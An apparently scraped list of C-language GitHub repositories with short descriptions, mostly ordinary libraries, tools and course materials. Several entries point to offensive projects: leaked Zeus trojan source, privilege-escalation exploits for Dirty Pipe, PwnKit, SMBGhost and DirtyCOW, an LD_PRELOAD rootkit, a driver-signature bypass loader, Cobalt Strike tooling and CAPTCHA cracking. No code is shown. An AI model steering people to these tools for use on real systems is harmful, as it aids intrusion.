[tsherif/space-shooter.c](https://github.com/tsherif/space-shooter.c) - A cross-platform, top-down 2D space shooter written in C using only platform libraries. * [agavrel/42_CheatSheet](https://github.com/agavrel/42_CheatSheet) - A comprehensive guide to 50 years of evolution of strict C programming, a tribute to Dennis Ritchie's language * [joan2937/pigpio](https://github.com/joan2937/pigpio) - pigpio is a C library for the Raspberry which allows control of the General Purpose Input Outputs (GPIO). * [cr-marcstevens/sha1collisiondetection](https://github.com/cr-marcstevens/sha1collisiondetection) - Library and command line tool to detect SHA-1 collision in a file * [gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) - A little toolbox to play with Microsoft Kerberos in C * [libusb/hidapi](https://github.com/libusb/hidapi) - A Simple cross-platform library for communicating with HID devices * [AllAlgorithms/c](https://github.com/AllAlgorithms/c) - Implementation of All ▲lgorithms in C Programming Language * [xorvoid/sectorc](https://github.com/xorvoid/sectorc) - A C Compiler that fits in the 512 byte boot sector of an x86 machine * [bloomberg/comdb2](https://github.com/bloomberg/comdb2) - Bloomberg's distributed RDBMS * [session-replay-tools/cetus](https://github.com/session-replay-tools/cetus) - Cetus is a high performance middleware that provides transparent routing between your application and any backend MySQL Servers. * [json-parser/json-parser](https://github.com/json-parser/json-parser) - Very low footprint DOM-style JSON parser written in portable ANSI C * [alexfru/SmallerC](https://github.com/alexfru/SmallerC) - Simple C compiler * [linux-nvme/nvme-cli](https://github.com/linux-nvme/nvme-cli) - NVMe management command line interface. * [armon/bloomd](https://github.com/armon/bloomd) - C network daemon for bloom filters * [posva/catimg](https://github.com/posva/catimg) - 🦦 Insanely fast image printing in your terminal * [kgabis/parson](https://github.com/kgabis/parson) - Lightweight JSON library written in C. * [jmcnamara/libxlsxwriter](https://github.com/jmcnamara/libxlsxwriter) - A C library for creating Excel XLSX files. * [rxi/fe](https://github.com/rxi/fe) - A tiny, embeddable language implemented in ANSI C * [profanity-im/profanity](https://github.com/profanity-im/profanity) - Ncurses based XMPP client * [jkuhlmann/cgltf](https://github.com/jkuhlmann/cgltf) - :diamond_shape_with_a_dot_inside: Single-file glTF 2.0 loader and writer written in C99 * [pi-hole/FTL](https://github.com/pi-hole/FTL) - The Pi-hole FTL engine * [Cyan4973/FiniteStateEntropy](https://github.com/Cyan4973/FiniteStateEntropy) - New generation entropy codecs : Finite State Entropy and Huff0 * [atomvm/AtomVM](https://github.com/atomvm/AtomVM) - Tiny Erlang VM * [libsndfile/libsndfile](https://github.com/libsndfile/libsndfile) - A C library for reading and writing sound files containing sampled audio data. * [eclipse/paho.mqtt.embedded-c](https://github.com/eclipse/paho.mqtt.embedded-c) - Paho MQTT C client library for embedded systems. Paho is an Eclipse IoT project (https://iot.eclipse.org/) * [tanakh/cmdline](https://github.com/tanakh/cmdline) - A Command Line Parser * [kuba--/zip](https://github.com/kuba--/zip) - A portable, simple zip library written in C * [angband/angband](https://github.com/angband/angband) - A free, single-player roguelike dungeon exploration game * [ucb-bar/chipyard](https://github.com/ucb-bar/chipyard) - An Agile RISC-V SoC Design Framework with in-order cores, out-of-order cores, accelerators, and more * [vonzhou/CSAPP](https://github.com/vonzhou/CSAPP) - CSAPP,《深入理解计算机系统结构》2nd ，阅读与实践！ * [monitoringartist/zabbix-docker-monitoring](https://github.com/monitoringartist/zabbix-docker-monitoring) - :whale: Docker/Kubernetes/Mesos/Marathon/Chronos/LXC/LXD/Swarm container monitoring - Docker image, Zabbix template and C module * [vergoh/vnstat](https://github.com/vergoh/vnstat) - vnStat - a network traffic monitor for Linux and BSD * [andrei-markeev/ts2c](https://github.com/andrei-markeev/ts2c) - Convert Javascript/TypeScript to C * [vgmstream/vgmstream](https://github.com/vgmstream/vgmstream) - vgmstream - A library for playback of various streamed audio formats used in video games. * [mytechnotalent/Hacking-Windows](https://github.com/mytechnotalent/Hacking-Windows) - A FREE Windows C development course where we will learn the Win32API and reverse engineer each step utilizing IDA Free in both an x86 and x64 environment. * [dariomanesku/cmftStudio](https://github.com/dariomanesku/cmftStudio) - cmftStudio - GUI counterpart for: * [chentao0707/QrCodeScan](https://github.com/chentao0707/QrCodeScan) - Android手机客户端二维码扫描 * [switchbrew/libnx](https://github.com/switchbrew/libnx) - Library for Switch Homebrew * [libssh2/libssh2](https://github.com/libssh2/libssh2) - the SSH library * [contiki-ng/contiki-ng](https://github.com/contiki-ng/contiki-ng) - Contiki-NG: The OS for Next Generation IoT Devices * [Sapd/HeadsetControl](https://github.com/Sapd/HeadsetControl) - Sidetone and Battery status for Logitech G930, G533, G633, G933 SteelSeries Arctis 7/PRO 2019 and Corsair VOID (Pro) in Linux and MacOSX * [EdgeTX/edgetx](https://github.com/EdgeTX/edgetx) - EdgeTX is the cutting edge open source firmware for your R/C radio * [ninia/jep](https://github.com/ninia/jep) - Embed Python in Java * [mupen64plus/mupen64plus-core](https://github.com/mupen64plus/mupen64plus-core) - Core module of the Mupen64Plus project * [doonny/PipeCNN](https://github.com/doonny/PipeCNN) - An OpenCL-based FPGA Accelerator for Convolutional Neural Networks * [cisco-system-traffic-generator/trex-core](https://github.com/cisco-system-traffic-generator/trex-core) - trex-core site * [ggerganov/whisper.cpp](https://github.com/ggerganov/whisper.cpp) - Port of OpenAI's Whisper model in C/C++ * [raysan5/raylib](https://github.com/raysan5/raylib) - A simple and easy-to-use library to enjoy videogames programming * [skywind3000/kcp](https://github.com/skywind3000/kcp) - :zap: KCP - A Fast and Reliable ARQ Protocol * [ravynsoft/ravynos](https://github.com/ravynsoft/ravynos) - A BSD-based OS project that aims to provide an experience like and some compatibility with macOS (formerly known as airyxOS) * [floooh/sokol](https://github.com/floooh/sokol) - minimal cross-platform standalone C headers * [kornelski/pngquant](https://github.com/kornelski/pngquant) - Lossy PNG compressor — pngquant command based on libimagequant library * [dokan-dev/dokany](https://github.com/dokan-dev/dokany) - User mode file system library for windows with FUSE Wrapper * [fluent/fluent-bit](https://github.com/fluent/fluent-bit) - Fast and Lightweight Logs and Metrics processor for Linux, BSD, OSX and Windows * [neutrinolabs/xrdp](https://github.com/neutrinolabs/xrdp) - xrdp: an open source RDP server * [clibs/clib](https://github.com/clibs/clib) - C package manager-ish * [jagt/clumsy](https://github.com/jagt/clumsy) - clumsy makes your network condition on Windows significantly worse, but in a controlled and interactive manner. * [microsoft/checkedc](https://github.com/microsoft/checkedc) - Checked C is an extension to C that lets programmers write C code that is guaranteed by the compiler to be type-safe. The goal is to let people easily make their existing C code type-safe and eliminate entire classes of errors. Checked C does not address use-after-free errors. This repo has a wiki for Checked C, sample code, the specification, and test code. * [xiph/rnnoise](https://github.com/xiph/rnnoise) - Recurrent neural network for audio noise reduction * [mridgers/clink](https://github.com/mridgers/clink) - Bash's powerful command line editing in cmd.exe * [janet-lang/janet](https://github.com/janet-lang/janet) - A dynamic language and bytecode vm * [philippe44/AirConnect](https://github.com/philippe44/AirConnect) - Use AirPlay to stream to UPnP/Sonos & Chromecast devices * [armink/EasyLogger](https://github.com/armink/EasyLogger) - An ultra-lightweight(ROM<1.6K, RAM<0.3k), high-performance C/C++ log library. | 一款超轻量级(ROM<1.6K, RAM<0.3k)、高性能的 C/C++ 日志库 * [vlcn-io/cr-sqlite](https://github.com/vlcn-io/cr-sqlite) - Convergent, Replicated SQLite. Multi-writer and CRDT support for SQLite * [open-quantum-safe/liboqs](https://github.com/open-quantum-safe/liboqs) - C library for prototyping and experimenting with quantum-resistant cryptography * [DreamAndDead/CSAPP-3e-Solutions](https://github.com/DreamAndDead/CSAPP-3e-Solutions) - CSAPP 3e Solutions, migrated to github.io from gitbook.io which is being shut down. * [zlib-ng/zlib-ng](https://github.com/zlib-ng/zlib-ng) - zlib replacement with optimizations for "next generation" systems. * [danielwaterworth/Raphters](https://github.com/danielwaterworth/Raphters) - [DEPRECATED] A web framework for C. * [mltframework/mlt](https://github.com/mltframework/mlt) - MLT Multimedia Framework * [taf2/curb](https://github.com/taf2/curb) - Ruby bindings for libcurl * [Bumblebee-Project/Bumblebee](https://github.com/Bumblebee-Project/Bumblebee) - Bumblebee daemon and client rewritten in C * [Visgean/Zeus](https://github.com/Visgean/Zeus) - NOT MY CODE! Zeus trojan horse - leaked in 2011, I am not the author. This repository is for study purposes only, do not message me about your lame hacking attempts. * [mattiasgustavsson/libs](https://github.com/mattiasgustavsson/libs) - Single-file public domain libraries for C/C++ * [nfs-ganesha/nfs-ganesha](https://github.com/nfs-ganesha/nfs-ganesha) - NFS-Ganesha is an NFSv3,v4,v4.1 fileserver that runs in user mode on most UNIX/Linux systems * [danigargu/CVE-2020-0796](https://github.com/danigargu/CVE-2020-0796) - CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost * [cnlohr/channel3](https://github.com/cnlohr/channel3) - ESP8266 Analog Broadcast Television Interface * [xiph/flac](https://github.com/xiph/flac) - Free Lossless Audio Codec * [trailofbits/ctf](https://github.com/trailofbits/ctf) - CTF Field Guide * [dekuNukem/bob_cassette_rewinder](https://github.com/dekuNukem/bob_cassette_rewinder) - Renew and Refill Bob Cassettes for 98% Cost Saving! * [shiyanhui/libcsp](https://github.com/shiyanhui/libcsp) - A concurrency C library 10x faster than Golang. * [libimobiledevice/usbmuxd](https://github.com/libimobiledevice/usbmuxd) - A socket daemon to multiplex connections from and to iOS devices * [chenyahui/AnnotatedCode](https://github.com/chenyahui/AnnotatedCode) - 知名开源代码库的注释版：C++、Golang等 * [CANopenNode/CANopenNode](https://github.com/CANopenNode/CANopenNode) - CANopen protocol stack * [grimfang4/sdl-gpu](https://github.com/grimfang4/sdl-gpu) - A library for high-performance, modern 2D graphics with SDL written in C. * [haywire/haywire](https://github.com/haywire/haywire) - Haywire is an asynchronous HTTP server framework written in C that's built using the event loop based libuv platform layer that node.js is built on top of. * [Fazecast/jSerialComm](https://github.com/Fazecast/jSerialComm) - Platform-independent serial port access for Java * [lionsoul2014/ip2region](https://github.com/lionsoul2014/ip2region) - Ip2region (2.0 - xdb) is a offline IP address manager framework and locator, support billions of data segments, ten microsecond searching performance. xdb engine implementation for many programming languages * [Dav1dde/glad](https://github.com/Dav1dde/glad) - Multi-Language Vulkan/GL/GLES/EGL/GLX/WGL Loader-Generator based on the official specs. * [westes/flex](https://github.com/westes/flex) - The Fast Lexical Analyzer - scanner generator for lexing in C and C++ * [stellar/stellar-core](https://github.com/stellar/stellar-core) - stellar-core is the reference implementation for the peer to peer agent that manages the Stellar network * [jakogut/tinyvm](https://github.com/jakogut/tinyvm) - TinyVM is a small, fast, lightweight virtual machine written in pure ANSI C. * [kangjianwei/Data-Structure](https://github.com/kangjianwei/Data-Structure) - 《数据结构》-严蔚敏.吴伟民-教材源码与习题解析 * [Cisco-Talos/clamav](https://github.com/Cisco-Talos/clamav) - ClamAV - Documentation is here: https://docs.clamav.net * [inotify-tools/inotify-tools](https://github.com/inotify-tools/inotify-tools) - inotify-tools is a C library and a set of command-line programs providing a simple interface to inotify. * [zpl-c/librg](https://github.com/zpl-c/librg) - 🚀 Making multi-player gamedev simpler since 2017 * [y123456yz/Reading-and-comprehense-linux-Kernel-network-protocol-stack](https://github.com/y123456yz/Reading-and-comprehense-linux-Kernel-network-protocol-stack) - linux内核网络协议栈源码阅读分析注释--带详尽中文分析注释以及相关流程分析调用注释，对理解分析内核协议栈源码很有帮助 * [csound/csound](https://github.com/csound/csound) - Main repository for Csound * [mkirchner/gc](https://github.com/mkirchner/gc) - Simple, zero-dependency garbage collection for C * [traildb/traildb](https://github.com/traildb/traildb) - TrailDB is an efficient tool for storing and querying series of events * [kokke/tiny-regex-c](https://github.com/kokke/tiny-regex-c) - Small portable regex in C * [zeromq/czmq](https://github.com/zeromq/czmq) - High-level C binding for ØMQ * [vurtun/lib](https://github.com/vurtun/lib) - single header libraries for C/C++ * [scottcgi/Mojoc](https://github.com/scottcgi/Mojoc) - A cross-platform, open-source, pure C game engine for mobile game. * [zedshaw/learn-c-the-hard-way-lectures](https://github.com/zedshaw/learn-c-the-hard-way-lectures) - All of the code from Learn C The Hard Way, each project, plus the presentation slides used in the videos. * [pikasTech/PikaPython](https://github.com/pikasTech/PikaPython) - An ultra-lightweight Python interpreter that runs with only 4KB of RAM, zero dependencies. It is ready to use out of the box without any configuration required and easy to extend with C. Similar project: MicroPython, JerryScript. * [libimobiledevice/ideviceinstaller](https://github.com/libimobiledevice/ideviceinstaller) - Manage apps of iOS devices * [tj/mon](https://github.com/tj/mon) - mon(1) - Simple single-process process monitoring program written in C * [HVML/PurC](https://github.com/HVML/PurC) - The prime HVML interpreter for C Language. * [h0mbre/Learning-C](https://github.com/h0mbre/Learning-C) - A series of mini-projects used to learn C for beginners * [linux-rdma/rdma-core](https://github.com/linux-rdma/rdma-core) - RDMA core userspace libraries and daemons * [Arinerron/CVE-2022-0847-DirtyPipe-Exploit](https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit) - A root exploit for CVE-2022-0847 (Dirty Pipe) * [tass-belgium/picotcp](https://github.com/tass-belgium/picotcp) - PicoTCP is a free TCP/IP stack implementation * [laruence/yaconf](https://github.com/laruence/yaconf) - A PHP Persistent Configurations Container * [ustcwpz/USTC-CS-Courses-Resource](https://github.com/ustcwpz/USTC-CS-Courses-Resource) - USTC计算机学院课程资源 * [cloudflare/cloudflare-blog](https://github.com/cloudflare/cloudflare-blog) - Cloudflare Blog code samples * [seemoo-lab/owl](https://github.com/seemoo-lab/owl) - An open Apple Wireless Direct Link (AWDL) implementation written in C * [bugaevc/wl-clipboard](https://github.com/bugaevc/wl-clipboard) - Command-line copy/paste utilities for Wayland * [miao1007/Openwrt-NetKeeper](https://github.com/miao1007/Openwrt-NetKeeper) - [C/C++] Run Netkeeper on OpenWrt Device * [FRiCKLE/ngx_cache_purge](https://github.com/FRiCKLE/ngx_cache_purge) - nginx module which adds ability to purge content from FastCGI, proxy, SCGI and uWSGI caches. * [hewei2001/HITSZ-OpenCS](https://github.com/hewei2001/HITSZ-OpenCS) - 哈尔滨工业大学（深圳）计算机专业课程攻略 | Guidance for courses in Department of Computer Science, Harbin Institute of Technology (Shenzhen) * [glouw/ctl](https://github.com/glouw/ctl) - The C Template Library * [zlib-ng/minizip-ng](https://github.com/zlib-ng/minizip-ng) - Fork of the popular zip manipulation library found in the zlib distribution. * [ColinIanKing/stress-ng](https://github.com/ColinIanKing/stress-ng) - This is the stress-ng upstream project git repository. stress-ng will stress test a computer system in various selectable ways. It was designed to exercise various physical subsystems of a computer as well as the various operating system kernel interfaces. * [willemt/raft](https://github.com/willemt/raft) - C implementation of the Raft Consensus protocol, BSD licensed * [dibyendumajumdar/ravi](https://github.com/dibyendumajumdar/ravi) - Ravi is a dialect of Lua, featuring limited optional static typing, JIT and AOT compilers * [msteinbeck/tinyspline](https://github.com/msteinbeck/tinyspline) - ANSI C library for NURBS, B-Splines, and Bézier curves with interfaces for C++, C#, D, Go, Java, Javascript, Lua, Octave, PHP, Python, R, and Ruby. * [hyperrealm/libconfig](https://github.com/hyperrealm/libconfig) - C/C++ library for processing configuration files * [Battelle/movfuscator](https://github.com/Battelle/movfuscator) - The single instruction C compiler * [appneta/tcpreplay](https://github.com/appneta/tcpreplay) - Pcap editing and replay tools for *NIX and Windows - Users please download source from * [rustyrussell/ccan](https://github.com/rustyrussell/ccan) - The C Code Archive Network * [libimobiledevice/idevicerestore](https://github.com/libimobiledevice/idevicerestore) - Restore/upgrade firmware of iOS devices * [bitcraze/crazyflie-firmware](https://github.com/bitcraze/crazyflie-firmware) - The main firmware for the Crazyflie Nano Quadcopter, Crazyflie Bolt Quadcopter and Roadrunner Positioning Tag. * [leo-arch/clifm](https://github.com/leo-arch/clifm) - The shell-like, command line terminal file manager: simple, fast, extensible, and lightweight as hell * [corosync/corosync](https://github.com/corosync/corosync) - The Corosync Cluster Engine * [arduino/ArduinoCore-avr](https://github.com/arduino/ArduinoCore-avr) - The Official Arduino AVR core * [c3lang/c3c](https://github.com/c3lang/c3c) - Compiler for the C3 language * [pimoroni/pimoroni-pico](https://github.com/pimoroni/pimoroni-pico) - Libraries and examples to support Pimoroni Pico add-ons in C++ and MicroPython. * [OpenEtherCATsociety/SOEM](https://github.com/OpenEtherCATsociety/SOEM) - Simple Open Source EtherCAT Master * [tekknolagi/carp](https://github.com/tekknolagi/carp) - "interesting" VM in C. Let's see how this goes. * [nicklockwood/FastCoding](https://github.com/nicklockwood/FastCoding) - A faster and more flexible binary file format replacement for NSCoding, Property Lists and JSON * [libretro/common-shaders](https://github.com/libretro/common-shaders) - Collection of commonly used Cg shaders. These shaders are usable by either HLSL and/or Cg runtime compilers. The cg2glsl script will translate most of these into GLSL shaders. * [mackron/dr_libs](https://github.com/mackron/dr_libs) - Audio decoding libraries for C/C++, each in a single source file. * [dddrrreee/cs140e-20win](https://github.com/dddrrreee/cs140e-20win) - cs140e course materials. * [examplecode/mproxy](https://github.com/examplecode/mproxy) - c 语言实现的一个最小的http代理，支持翻墙 * [brutal-org/brutal](https://github.com/brutal-org/brutal) - 🏢 An operating system inspired by brutalist design that combines the ideals of UNIX from the 1970s with modern technology and engineering * [arthepsy/CVE-2021-4034](https://github.com/arthepsy/CVE-2021-4034) - PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) * [uTox/uTox](https://github.com/uTox/uTox) - µTox the lightest and fluffiest Tox client * [ImpulseAdventure/GUIslice](https://github.com/ImpulseAdventure/GUIslice) - GUIslice drag & drop embedded GUI in C for touchscreen TFT on Arduino, Raspberry Pi, ARM, ESP8266 / ESP32 / M5stack using Adafruit-GFX / TFT_eSPI / UTFT / SDL * [PortAudio/portaudio](https://github.com/PortAudio/portaudio) - PortAudio is a cross-platform, open-source C language library for real-time audio input and output. * [Hansimov/csapp](https://github.com/Hansimov/csapp) - 个人整理的《深入理解计算机系统》中文电子版（原书第 3 版）与实验材料：https://hansimov.gitbook.io/csapp/ * [Blosc/c-blosc](https://github.com/Blosc/c-blosc) - A blocking, shuffling and loss-less compression library that can be faster than `memcpy()`. * [tronkko/dirent](https://github.com/tronkko/dirent) - C/C++ library for retrieving information on files and directories * [juliettef/IconFontCppHeaders](https://github.com/juliettef/IconFontCppHeaders) - C and C++ headers, C# and Python classes, Rust files and Go package for icon fonts Font Awesome, Fork Awesome, Google Material Design icons, Kenney game icons, Fontaudio and Codicons. * [HypoPG/hypopg](https://github.com/HypoPG/hypopg) - Hypothetical Indexes for PostgreSQL * [psankar/simplefs](https://github.com/psankar/simplefs) - A simple, kernel-space, on-disk filesystem from the scratch * [cnlohr/mini-rv32ima](https://github.com/cnlohr/mini-rv32ima) - A tiny C header-only risc-v emulator. * [deadpixi/mtm](https://github.com/deadpixi/mtm) - Perhaps the smallest useful terminal multiplexer in the world. * [easytarget/esp32-cam-webserver](https://github.com/easytarget/esp32-cam-webserver) - Expanded version of the Espressif ESP webcam * [mempodippy/vlany](https://github.com/mempodippy/vlany) - Linux LD_PRELOAD rootkit (x86 and x86_64 architectures) * [varnish/Varnish-Cache](https://github.com/varnish/Varnish-Cache) - Moved. New address: https://github.com/varnishcache/varnish-cache/ * [JuliaStrings/utf8proc](https://github.com/JuliaStrings/utf8proc) - a clean C library for processing UTF-8 Unicode data * [lavoiesl/osx-cpu-temp](https://github.com/lavoiesl/osx-cpu-temp) - Outputs current CPU temperature for OSX * [danielealbano/cachegrand](https://github.com/danielealbano/cachegrand) - cachegrand - a modern OSS Key-Value store built for today's hardware * [schweikert/fping](https://github.com/schweikert/fping) - High performance ping tool * [aws/aws-iot-device-sdk-embedded-C](https://github.com/aws/aws-iot-device-sdk-embedded-C) - SDK for connecting to AWS IoT from a device using embedded C. * [libexpat/libexpat](https://github.com/libexpat/libexpat) - :herb: Fast streaming XML parser written in C99; migrated from SourceForge to GitHub * [cvxopt/cvxopt](https://github.com/cvxopt/cvxopt) - CVXOPT -- Python Software for Convex Optimization * [huaiyukeji/verification_code](https://github.com/huaiyukeji/verification_code) - 验证码研究破解心得记录。包含网易易盾，阿里云验证码，极验验证码，通用汉字识别，梦幻西游验证等主流验证码破解。包含点按验证码、点选验证、语序点选等等。已更新极验验证码、企业公示网/工商/文书采集系统、极验打码接口。 * [OpenIDC/mod_auth_openidc](https://github.com/OpenIDC/mod_auth_openidc) - OpenID Certified™ OpenID Connect Relying Party implementation for Apache HTTP Server 2.x * [forthespada/MyPoorWebServer](https://github.com/forthespada/MyPoorWebServer) - 一款可运行的基于C++ 实现的WebServer服务器，基于《TCPIP网络编程》和《Linux高性能服务器编程》实现的服务器项目。 * [zpl-c/zpl](https://github.com/zpl-c/zpl) - 📐 Pushing the boundaries of simplicity * [hfiref0x/VBoxHardenedLoader](https://github.com/hfiref0x/VBoxHardenedLoader) - VirtualBox VM detection mitigation loader * [skvadrik/re2c](https://github.com/skvadrik/re2c) - Lexer generator for C, C++, Go and Rust. * [MapServer/MapServer](https://github.com/MapServer/MapServer) - Source code of the MapServer project. Please submit pull requests to the 'main' branch. * [Duet3D/RepRapFirmware](https://github.com/Duet3D/RepRapFirmware) - OO C++ RepRap Firmware * [uclouvain/openjpeg](https://github.com/uclouvain/openjpeg) - Official repository of the OpenJPEG project * [happyfish100/libfastcommon](https://github.com/happyfish100/libfastcommon) - c common functions library extracted from my open source project FastDFS. this library is very simple and stable. functions including: string, logger, chain, hash, socket, ini file reader, base64 encode / decode, url encode / decode, fast timer, skiplist, object pool etc. detail info please see the c header files. * [catboost/catboost](https://github.com/catboost/catboost) - A fast, scalable, high performance Gradient Boosting on Decision Trees library, used for ranking, classification, regression and other machine learning tasks for Python, R, Java, C++. Supports computation on CPU and GPU. * [crownengine/crown](https://github.com/crownengine/crown) - The flexible game engine. * [sheepdog/sheepdog](https://github.com/sheepdog/sheepdog) - Distributed Storage System for QEMU * [bryanpkc/corkscrew](https://github.com/bryanpkc/corkscrew) - A tool for tunneling SSH through HTTP proxies * [JLErvin/berry](https://github.com/JLErvin/berry) - :strawberry: A healthy, byte-sized window manager * [libcheck/check](https://github.com/libcheck/check) - A unit testing framework for C * [susam/uncap](https://github.com/susam/uncap) - Map Caps Lock to Escape or any key to any key * [antirez/rax](https://github.com/antirez/rax) - A radix tree implementation in ANSI C * [embox/embox](https://github.com/embox/embox) - Modular and configurable OS for embedded applications * [alibaba/ApsaraCache](https://github.com/alibaba/ApsaraCache) - ApsaraCache is a Redis branch originated from Alibaba Group. * [kkkgo/vlmcsd](https://github.com/kkkgo/vlmcsd) - 🔑Portable open-source KMS Emulator in C * [wangkuiwu/datastructs_and_algorithm](https://github.com/wangkuiwu/datastructs_and_algorithm) - Data struct and algorithm introduction and implementation in C/C++/Java. * [olilarkin/wdl-ol](https://github.com/olilarkin/wdl-ol) - Enhanced version of Cockos' iPlug - A simple-to-use C++ framework for developing cross platform audio plugins and targeting multiple plugin APIs with the same code. VST / VST3 / Audiounit / RTAS / AAX (Native) formats supported. NOTE: THIS IS OBSOLETE, PLEASE SEE IPLUG2: * [babelouest/ulfius](https://github.com/babelouest/ulfius) - Web Framework to build REST APIs, Webservices or any HTTP endpoint in C language. Can stream large amount of data, integrate JSON data with Jansson, and create websocket services * [HandmadeMath/HandmadeMath](https://github.com/HandmadeMath/HandmadeMath) - A simple math library for games and computer graphics. Compatible with both C and C++. * [hfiref0x/TDL](https://github.com/hfiref0x/TDL) - Driver loader for bypassing Windows x64 Driver Signature Enforcement * [vlm/asn1c](https://github.com/vlm/asn1c) - The ASN.1 Compiler * [cariboulabs/cariboulite](https://github.com/cariboulabs/cariboulite) - CaribouLite turns any 40-pin Raspberry-Pi into a Tx/Rx 6GHz SDR * [gsass1/NTop](https://github.com/gsass1/NTop) - 💻 htop-like system-monitor for Windows with Vi-keybindings. * [timwr/CVE-2016-5195](https://github.com/timwr/CVE-2016-5195) - CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android * [halfer53/winix](https://github.com/halfer53/winix) - A UNIX-style Operating System for the Waikato RISC Architecture Microprocessor (WRAMP) * [LibVNC/libvncserver](https://github.com/LibVNC/libvncserver) - LibVNCServer/LibVNCClient are cross-platform C libraries that allow you to easily implement VNC server or client functionality in your program. * [RedisLabs/redis-cluster-proxy](https://github.com/RedisLabs/redis-cluster-proxy) - A proxy for Redis clusters. * [jserv/amacc](https://github.com/jserv/amacc) - Small C Compiler generating ELF executable Arm architecture, supporting JIT execution * [lxc/lxcfs](https://github.com/lxc/lxcfs) - FUSE filesystem for LXC * [celluloid-player/celluloid](https://github.com/celluloid-player/celluloid) - A simple GTK+ frontend for mpv * [ObKo/stm32-cmake](https://github.com/ObKo/stm32-cmake) - CMake for stm32 developing. * [ngtcp2/ngtcp2](https://github.com/ngtcp2/ngtcp2) - ngtcp2 project is an effort to implement IETF QUIC protocol * [yamashi/CyberEngineTweaks](https://github.com/yamashi/CyberEngineTweaks) - Cyberpunk 2077 tweaks, hacks and scripting framework * [trezor/trezor-firmware](https://github.com/trezor/trezor-firmware) - :lock: Trezor Firmware Monorepo * [sisong/HDiffPatch](https://github.com/sisong/HDiffPatch) - a C\C++ library and command-line tools for Diff & Patch between binary files or directories(folder); cross-platform; runs fast; create small delta/differential; support large files and limit memory requires when diff & patch. * [ARM-software/CMSIS_5](https://github.com/ARM-software/CMSIS_5) - CMSIS Version 5 Development Repository * [RandyGaul/qu3e](https://github.com/RandyGaul/qu3e) - Lightweight and Simple 3D Open Source Physics Engine in C++ * [oracle/python-cx_Oracle](https://github.com/oracle/python-cx_Oracle) - Python interface to Oracle Database now superseded by python-oracledb * [mpx/lua-cjson](https://github.com/mpx/lua-cjson) - Lua CJSON is a fast JSON encoding/parsing module for Lua * [Billy-Ellis/Exploit-Challenges](https://github.com/Billy-Ellis/Exploit-Challenges) - A collection of vulnerable ARM binaries for practicing exploit development * [kiibohd/controller](https://github.com/kiibohd/controller) - Kiibohd Controller * [halayli/lthread](https://github.com/halayli/lthread) - lthread, a multicore enabled coroutine library written in C * [OpenCPN/OpenCPN](https://github.com/OpenCPN/OpenCPN) - A concise ChartPlotter/Navigator. A cross-platform ship-borne GUI application supporting * GPS/GPDS Postition Input * BSB Raster Chart Display * S57 Vector ENChart Display * AIS Input Decoding * Waypoint Autopilot Navigation * [graphitemaster/incbin](https://github.com/graphitemaster/incbin) - Include binary files in C/C++ * [HerculesWS/Hercules](https://github.com/HerculesWS/Hercules) - Hercules is a collaborative software development project revolving around the creation of a robust massively multiplayer online role playing game (MMORPG) server package. Written in C, the program is very versatile and provides NPCs, warps and modifications. The project is jointly managed by a group of volunteers located around the world as well as a tremendous community providing QA and support. Hercules is a continuation of the original Athena project. * [skullchap/chadstr](https://github.com/skullchap/chadstr) - Chad Strings - The Chad way to handle strings in C. * [Orc/discount](https://github.com/Orc/discount) - My C implementation of John Gruber's Markdown markup language * [prideout/par](https://github.com/prideout/par) - single-file C libraries from Philip Allan Rideout * [LordNoteworthy/cpu-internals](https://github.com/LordNoteworthy/cpu-internals) - Intel / AMD CPU Internals * [gnbdev/opengnb](https://github.com/gnbdev/opengnb) - GNB is open source de-centralized SDVN to achieve layer3 network via p2p with the ultimate capability of NAT Traversal.GNB是一个开源的去中心化的具有极致内网穿透能力的通过P2P进行三层网络交换的SDVN。 * [RainbowRoad1/Cgame](https://github.com/RainbowRoad1/Cgame) - 一些用C编写的小游戏, 14行贪吃蛇 22行2048 22行俄罗斯方块 25行扫雷...以及各种小玩意 * [pvaret/rtl8192cu-fixes](https://github.com/pvaret/rtl8192cu-fixes) - Realtek 8192 chipset driver, ported to kernel 3.11. * [libgd/libgd](https://github.com/libgd/libgd) - GD Graphics Library * [floooh/chips](https://github.com/floooh/chips) - 8-bit chip and system emulators in standalone C headers * [larmel/lacc](https://github.com/larmel/lacc) - A simple, self-hosting C compiler * [orangeduck/tgc](https://github.com/orangeduck/tgc) - A Tiny Garbage Collector for C * [eleme/corvus](https://github.com/eleme/corvus) - A fast and lightweight Redis Cluster Proxy for Redis 3.0 * [FrameworkComputer/EmbeddedController](https://github.com/FrameworkComputer/EmbeddedController) - Embedded Controller firmware for the Framework Laptop * [maxmind/libmaxminddb](https://github.com/maxmind/libmaxminddb) - C library for the MaxMind DB file format * [nvim-telescope/telescope-fzf-native.nvim](https://github.com/nvim-telescope/telescope-fzf-native.nvim) - FZF sorter for telescope written in c * [jianfengye/nginx-1.0.14_comment](https://github.com/jianfengye/nginx-1.0.14_comment) - nginx源码中文注释版 * [yangminz/bcst_csapp](https://github.com/yangminz/bcst_csapp) - A C language repo to implement CSAPP * [WojciechMula/pyahocorasick](https://github.com/WojciechMula/pyahocorasick) - Python module (C extension and plain python) implementing Aho-Corasick algorithm * [hexagonal-sun/bic](https://github.com/hexagonal-sun/bic) - A C interpreter and API explorer. * [DrTimothyAldenDavis/SuiteSparse](https://github.com/DrTimothyAldenDavis/SuiteSparse) - The official SuiteSparse library: a suite of sparse matrix algorithms authored or co-authored by Tim Davis, Texas A&M University. * [charliegerard/Epoc.js](https://github.com/charliegerard/Epoc.js) - Node.js addon for the Emotiv C++ SDK * [vtereshkov/umka-lang](https://github.com/vtereshkov/umka-lang) - Umka: a statically typed embeddable scripting language * [mbrossard/threadpool](https://github.com/mbrossard/threadpool) - A simple C Thread pool implementation * [carld/micro-lisp](https://github.com/carld/micro-lisp) - 🎄A very small Lisp programming language 😀that used to be under 200 lines of C🎄 * [pytorch/cpuinfo](https://github.com/pytorch/cpuinfo) - CPU INFOrmation library (x86/x86-64/ARM/ARM64, Linux/Windows/Android/macOS/iOS) * [chrisjmccormick/word2vec_commented](https://github.com/chrisjmccormick/word2vec_commented) - Commented (but unaltered) version of original word2vec C implementation. * [outflanknl/C2-Tool-Collection](https://github.com/outflanknl/C2-Tool-Collection) - A collection of tools which integrate with Cobalt Strike (and possibly other C2 frameworks) through BOF and reflective DLL loading techniques. * 